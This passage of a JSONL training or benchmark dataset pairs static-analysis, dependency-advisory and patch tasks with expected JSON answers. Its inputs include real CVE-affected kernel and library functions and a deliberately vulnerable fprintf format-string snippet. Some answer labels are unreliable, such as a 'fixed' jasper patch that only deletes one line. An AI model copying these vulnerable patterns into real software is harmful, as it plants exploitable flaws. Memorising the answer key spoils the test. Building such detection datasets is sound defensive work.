13\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 3\n }\n ],\n \"explanation\": \"Untrusted input is concatenated directly into a SQL string passed to db.query.\",\n \"remediation\": \"Use parameterized queries / prepared statements; never concatenate untrusted input into SQL.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static void shmem_recalc_inode(struct inode *inode)\n{\n\tstruct shmem_inode_info *info = SHMEM_I(inode);\n\tlong freed;\n\n\tfreed = info->alloced - info->swapped - inode->i_mapping->nrpages;\n\tif (freed > 0) {\n\t\tinfo->alloced -= freed;\n\t\tshmem_unacct_blocks(info->flags, freed);\n\t\tshmem_free_blocks(inode, freed);\n\t}\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: gogs.io/gogs\nInstalled version: 0.13.3\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"gogs.io/gogs\",\n \"installed_version\": \"0.13.3\",\n \"note\": \"gogs.io/gogs 0.13.3 is at or above the fixed version for GHSA-wj44-9vcg-wjq7; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: io.spinnaker.rosco:rosco-manifests\nInstalled version: 2025.3.4\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"io.spinnaker.rosco:rosco-manifests\",\n \"installed_version\": \"2025.3.4\",\n \"note\": \"io.spinnaker.rosco:rosco-manifests 2025.3.4 is at or above the fixed version for GHSA-p68j-q7hf-3qcp; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static uint32_t cirrus_get_bpp16_depth(CirrusVGAState * s)\n{\n uint32_t ret = 16;\n\n switch (s->cirrus_hidden_dac_data & 0xf) {\n case 0:\n\tret = 15;\n\tbreak;\t\t\t/* Sierra HiColor */\n case 1:\n\tret = 16;\n\tbreak;\t\t\t/* XGA HiColor */\n default:\n#ifdef DEBUG_CIRRUS\n\tprintf(\"cirrus: invalid DAC value %x in 16bpp\\n\",\n\t (s->cirrus_hidden_dac_data & 0xf));\n#endif\n\tret = 15;\t\t/* XXX */\n\tbreak;\n }\n return ret;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "struct net *get_net_ns_by_id(struct net *net, int id)\n{\n\tstruct net *peer;\n\n\tif (id < 0)\n\t\treturn NULL;\n\n\trcu_read_lock();\n \tspin_lock_bh(&net->nsid_lock);\n \tpeer = idr_find(&net->netns_ids, id);\n \tif (peer)\n\t\tget_net(peer);\n \tspin_unlock_bh(&net->nsid_lock);\n \trcu_read_unlock();\n \n\treturn peer;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-15129\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 12\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 11,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 5\n },\n {\n \"token\": \"peer\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 6\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 11,\n \"col\": 10\n },\n {\n \"token\": \"get_net\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 12,\n \"col\": 9\n },\n {\n \"token\": \"peer\",\n \"ast_node\": \"identifier\",\n \"line\": 12,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 12,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 12,\n \"col\": 15\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void uv__process_child_init(const uv_process_options_t* options,\n int stdio_count,\n int (*pipes)[2],\n int error_fd) {\n int close_fd;\n int use_fd;\n int fd;\n\n if (options->flags & UV_PROCESS_DETACHED)\n setsid();\n\n for (fd = 0; fd < stdio_count; fd++) {\n close_fd = pipes[fd][0];\n use_fd = pipes[fd][1];\n\n if (use_fd < 0) {\n if (fd >= 3)\n continue;\n else {\n /* redirect stdin, stdout and stderr to /dev/null even if UV_IGNORE is\n * set\n */\n use_fd = open(\"/dev/null\", fd == 0 ? O_RDONLY : O_RDWR);\n close_fd = use_fd;\n\n if (use_fd == -1) {\n uv__write_int(error_fd, -errno);\n perror(\"failed to open stdio\");\n _exit(127);\n }\n }\n }\n\n if (fd == use_fd)\n uv__cloexec(use_fd, 0);\n else\n dup2(use_fd, fd);\n\n if (fd <= 2)\n uv__nonblock(fd, 0);\n\n if (close_fd != -1)\n uv__close(close_fd);\n }\n\n for (fd = 0; fd < stdio_count; fd++) {\n use_fd = pipes[fd][1];\n\n if (use_fd >= 0 && fd != use_fd)\n close(use_fd);\n }\n\n if (options->cwd != NULL && chdir(options->cwd)) {\n uv__write_int(error_fd, -errno);\n perror(\"chdir()\");\n _exit(127);\n }\n \n if ((options->flags & UV_PROCESS_SETGID) && setgid(options->gid)) {\n uv__write_int(error_fd, -errno);\n perror(\"setgid()\");\n _exit(127);\n }\n\n if ((options->flags & UV_PROCESS_SETUID) && setuid(options->uid)) {\n uv__write_int(error_fd, -errno);\n perror(\"setuid()\");\n _exit(127);\n }\n\n if (options->env != NULL) {\n environ = options->env;\n }\n\n execvp(options->file, options->args);\n uv__write_int(error_fd, -errno);\n perror(\"execvp()\");\n _exit(127);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-0278\",\n \"project\": \"libuv\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-1321", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: total.js\nInstalled version: <3.4.7\nSummary: Prototype pollution in total.js", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-6cf8-qhqj-vjqm\",\n \"cve\": \"CVE-2020-28495\",\n \"aliases\": [\n \"CVE-2020-28495\",\n \"SNYK-JS-TOTALJS-1046671\"\n ],\n \"cwe\": \"CWE-1321\",\n \"ecosystem\": \"npm\",\n \"package\": \"total.js\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <3.4.7\",\n \"fixed_version\": \"3.4.7\",\n \"finding\": \"Prototype pollution in total.js\",\n \"remediation\": \"Upgrade total.js to 3.4.7 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-74", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: undefsafe\nInstalled version: <2.0.3\nSummary: Prototype Pollution in undefsafe", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-332q-7ff2-57h2\",\n \"cve\": \"CVE-2019-10795\",\n \"aliases\": [\n \"CVE-2019-10795\",\n \"SNYK-JS-UNDEFSAFE-548940\"\n ],\n \"cwe\": \"CWE-74\",\n \"ecosystem\": \"npm\",\n \"package\": \"undefsafe\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <2.0.3\",\n \"fixed_version\": \"2.0.3\",\n \"finding\": \"Prototype Pollution in undefsafe\",\n \"remediation\": \"Upgrade undefsafe to 2.0.3 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-285", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: DotNetNuke.Core\nInstalled version: 6.0.0\nSummary: DNN: Force Friend Request Acceptance", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-fpj4-9qhx-5m6m\",\n \"cve\": \"CVE-2026-40305\",\n \"aliases\": [\n \"CVE-2026-40305\"\n ],\n \"cwe\": \"CWE-285\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"DotNetNuke.Core\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=6.0.0, <10.2.2\",\n \"fixed_version\": \"10.2.2\",\n \"finding\": \"DNN: Force Friend Request Acceptance\",\n \"remediation\": \"Upgrade DotNetNuke.Core to 10.2.2 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-264). Produce the patched version and explain the fix. Output JSON.", "input": "int _mkp_stage_30(struct plugin *p,\n struct client_session *cs,\n struct session_request *sr)\n{\n mk_ptr_t referer;\n (void) p;\n (void) cs;\n \n PLUGIN_TRACE(\"[FD %i] Mandril validating URL\", cs->socket);\n if (mk_security_check_url(sr->uri) < 0) {\n PLUGIN_TRACE(\"[FD %i] Close connection, blocked URL\", cs->socket);\n mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN);\n return MK_PLUGIN_RET_CLOSE_CONX;\n }\n\n PLUGIN_TRACE(\"[FD %d] Mandril validating hotlinking\", cs->socket);\n referer = mk_api->header_get(&sr->headers_toc, \"Referer\", strlen(\"Referer\"));\n if (mk_security_check_hotlink(sr->uri_processed, sr->host, referer) < 0) {\n PLUGIN_TRACE(\"[FD %i] Close connection, deny hotlinking.\", cs->socket);\n mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN);\n return MK_PLUGIN_RET_CLOSE_CONX;\n }\n\n return MK_PLUGIN_RET_NOT_ME;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"cve\": \"CVE-2013-2182\",\n \"fixed_code\": \"int _mkp_stage_30(struct plugin *p,\\n struct client_session *cs,\\n struct session_request *sr)\\n{\\n mk_ptr_t referer;\\n (void) p;\\n (void) cs;\\n \\n PLUGIN_TRACE(\\\"[FD %i] Mandril validating URL\\\", cs->socket);\\n\\n if (mk_security_check_url(sr->uri_processed) < 0) {\\n PLUGIN_TRACE(\\\"[FD %i] Close connection, blocked URL\\\", cs->socket);\\n mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN);\\n return MK_PLUGIN_RET_CLOSE_CONX;\\n }\\n\\n PLUGIN_TRACE(\\\"[FD %d] Mandril validating hotlinking\\\", cs->socket);\\n referer = mk_api->header_get(&sr->headers_toc, \\\"Referer\\\", strlen(\\\"Referer\\\"));\\n if (mk_security_check_hotlink(sr->uri_processed, sr->host, referer) < 0) {\\n PLUGIN_TRACE(\\\"[FD %i] Close connection, deny hotlinking.\\\", cs->socket);\\n mk_api->header_set_http_status(sr, MK_CLIENT_FORBIDDEN);\\n return MK_PLUGIN_RET_CLOSE_CONX;\\n }\\n\\n return MK_PLUGIN_RET_NOT_ME;\\n}\\n\",\n \"change_summary\": \"Mandril: check decoded URI (fix #92)\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int nci_extract_activation_params_iso_dep(struct nci_dev *ndev,\n\t\t\tstruct nci_rf_intf_activated_ntf *ntf, __u8 *data)\n{\n\tstruct activation_params_nfca_poll_iso_dep *nfca_poll;\n\tstruct activation_params_nfcb_poll_iso_dep *nfcb_poll;\n\n \tswitch (ntf->activation_rf_tech_and_mode) {\n \tcase NCI_NFC_A_PASSIVE_POLL_MODE:\n \t\tnfca_poll = &ntf->activation_params.nfca_poll_iso_dep;\n\t\tnfca_poll->rats_res_len = *data++;\n \t\tpr_debug(\"rats_res_len %d\\n\", nfca_poll->rats_res_len);\n \t\tif (nfca_poll->rats_res_len > 0) {\n \t\t\tmemcpy(nfca_poll->rats_res,\n\t\t\t data, nfca_poll->rats_res_len);\n\t\t}\n\t\tbreak;\n \n \tcase NCI_NFC_B_PASSIVE_POLL_MODE:\n \t\tnfcb_poll = &ntf->activation_params.nfcb_poll_iso_dep;\n\t\tnfcb_poll->attrib_res_len = *data++;\n \t\tpr_debug(\"attrib_res_len %d\\n\", nfcb_poll->attrib_res_len);\n \t\tif (nfcb_poll->attrib_res_len > 0) {\n \t\t\tmemcpy(nfcb_poll->attrib_res,\n\t\t\t data, nfcb_poll->attrib_res_len);\n\t\t}\n\t\tbreak;\n\n\tdefault:\n\t\tpr_err(\"unsupported activation_rf_tech_and_mode 0x%x\\n\",\n\t\t ntf->activation_rf_tech_and_mode);\n\t\treturn NCI_STATUS_RF_PROTOCOL_ERROR;\n\t}\n\n\treturn NCI_STATUS_OK;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2012-3364\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 10,\n 20\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"nci_extract_activation_params_iso_dep\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 49\n },\n {\n \"token\": \"nci_dev\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"ndev\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 2,\n \"col\": 3\n },\n {\n \"token\": \"nci_rf_intf_activated_ntf\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 10\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 36\n },\n {\n \"token\": \"ntf\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 37\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \"__u8\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 42\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 47\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 48\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 52\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"activation_params_nfca_poll_iso_dep\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 44\n },\n {\n \"token\": \"nfca_poll\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 45\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 54\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"activation_params_nfcb_poll_iso_dep\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 44\n },\n {\n \"token\": \"nfcb_poll\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 45\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 54\n },\n {\n \"token\": \"switch\",\n \"ast_node\": \"switch\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 9\n },\n {\n \"token\": \"ntf\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 13\n },\n {\n \"token\": \"activation_rf_tech_and_mode\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 42\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 7,\n \"col\": 44\n },\n {\n \"token\": \"case\",\n \"ast_node\": \"case\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"NCI_NFC_A_PASSIVE_POLL_MODE\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \":\",\n \"ast_node\": \":\",\n \"line\": 8,\n \"col\": 34\n },\n {\n \"token\": \"nfca_poll\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 3\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \"ntf\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 19\n },\n {\n \"token\": \"activation_params\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 21\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 9,\n \"col\": 38\n },\n {\n \"token\": \"nfca_poll_iso_dep\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 39\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 56\n },\n {\n \"token\": \"nfca_poll\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 10,\n \"col\": 11\n },\n {\n \"token\": \"rats_res_len\",\n \"ast_node\": \"field_identifier\",\n \"line\": 10,\n \"col\": 13\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 26\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 28\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 29\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 10,\n \"col\": 33\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 35\n },\n {\n \"token\": \"pr_debug\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 11,\n \"col\": 12\n },\n {\n \"token\": \"rats_res_len %d\",\n \"ast_node\": \"string_content\",\n \"line\": 11,\n \"col\": 13\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-190). Produce the patched version and explain the fix. Output JSON.", "input": " jas_image_t *jas_image_create0()\n{\n\tjas_image_t *image;\n\n\tif (!(image = jas_malloc(sizeof(jas_image_t)))) {\n\t\treturn 0;\n\t}\n\n\timage->tlx_ = 0;\n\timage->tly_ = 0;\n\timage->brx_ = 0;\n\timage->bry_ = 0;\n\timage->clrspc_ = JAS_CLRSPC_UNKNOWN;\n \timage->numcmpts_ = 0;\n \timage->maxcmpts_ = 0;\n \timage->cmpts_ = 0;\n\timage->inmem_ = true;\n////\timage->inmem_ = true;\n \timage->cmprof_ = 0;\n \n \treturn image;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"cve\": \"CVE-2016-9557\",\n \"fixed_code\": \" jas_image_t *jas_image_create0()\\n{\\n\\tjas_image_t *image;\\n\\n\\tif (!(image = jas_malloc(sizeof(jas_image_t)))) {\\n\\t\\treturn 0;\\n\\t}\\n\\n\\timage->tlx_ = 0;\\n\\timage->tly_ = 0;\\n\\timage->brx_ = 0;\\n\\timage->bry_ = 0;\\n\\timage->clrspc_ = JAS_CLRSPC_UNKNOWN;\\n \\timage->numcmpts_ = 0;\\n \\timage->maxcmpts_ = 0;\\n \\timage->cmpts_ = 0;\\n////\\timage->inmem_ = true;\\n \\timage->cmprof_ = 0;\\n \\n \\treturn image;\\n}\\n\",\n \"change_summary\": \"The generation of the configuration file jas_config.h has been completely\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void do_notify_resume(struct pt_regs *regs, long in_syscall)\n{\n\tif (test_thread_flag(TIF_SIGPENDING) ||\n\t test_thread_flag(TIF_RESTORE_SIGMASK))\n\t\tdo_signal(regs, in_syscall);\n\n\tif (test_thread_flag(TIF_NOTIFY_RESUME)) {\n\t\tclear_thread_flag(TIF_NOTIFY_RESUME);\n\t\ttracehook_notify_resume(regs);\n\t}\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-134", "source": "curated SAST pattern + tree-sitter AST", "instruction": "Perform AST-based static analysis on the following C++ code. Detect the security vulnerability, locate the vulnerable tokens and their AST nodes, and output a structured finding.", "input": "#include \nvoid logit(const char *value) {\n fprintf(stderr, value);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-134\",\n \"cwe_name\": \"Uncontrolled Format String\",\n \"title\": \"Format string vulnerability (fprintf)\",\n \"severity\": \"high\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"fprintf\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"stderr\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 18\n },\n {\n \"token\": \"value\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 25\n }\n ],\n \"explanation\": \"Untrusted input used as a format string allows memory disclosure/corruption.\",\n \"remediation\": \"Never pass untrusted data as the format string; use printf(\\\"%s\\\", input).\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "int inet_sk_rebuild_header(struct sock *sk)\n{\n \tstruct inet_sock *inet = inet_sk(sk);\n \tstruct rtable *rt = (struct rtable *)__sk_dst_check(sk, 0);\n \t__be32 daddr;\n \tint err;\n \n \t/* Route is OK, nothing to do. */\n \tif (rt)\n \t\treturn 0;\n \n \t/* Reroute. */\n \tdaddr = inet->inet_daddr;\n\tif (inet->opt && inet->opt->srr)\n\t\tdaddr = inet->opt->faddr;\n \trt = ip_route_output_ports(sock_net(sk), sk, daddr, inet->inet_saddr,\n \t\t\t\t inet->inet_dport, inet->inet_sport,\n \t\t\t\t sk->sk_protocol, RT_CONN_FLAGS(sk),\n\t\t\t\t sk->sk_bound_dev_if);\n\tif (!IS_ERR(rt)) {\n\t\terr = 0;\n\t\tsk_setup_caps(sk, &rt->dst);\n\t} else {\n\t\terr = PTR_ERR(rt);\n\n\t\t/* Routing failed... */\n\t\tsk->sk_route_caps = 0;\n\t\t/*\n\t\t * Other protocols have to map its equivalent state to TCP_SYN_SENT.\n\t\t * DCCP maps its DCCP_REQUESTING state to TCP_SYN_SENT. -acme\n\t\t */\n\t\tif (!sysctl_ip_dynaddr ||\n\t\t sk->sk_state != TCP_SYN_SENT ||\n\t\t (sk->sk_userlocks & SOCK_BINDADDR_LOCK) ||\n\t\t (err = inet_sk_reselect_saddr(sk)) != 0)\n\t\t\tsk->sk_err_soft = -err;\n\t}\n\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2012-3552\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 14,\n 15\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"inet_sk_rebuild_header\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 26\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 27\n },\n {\n \"token\": \"sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 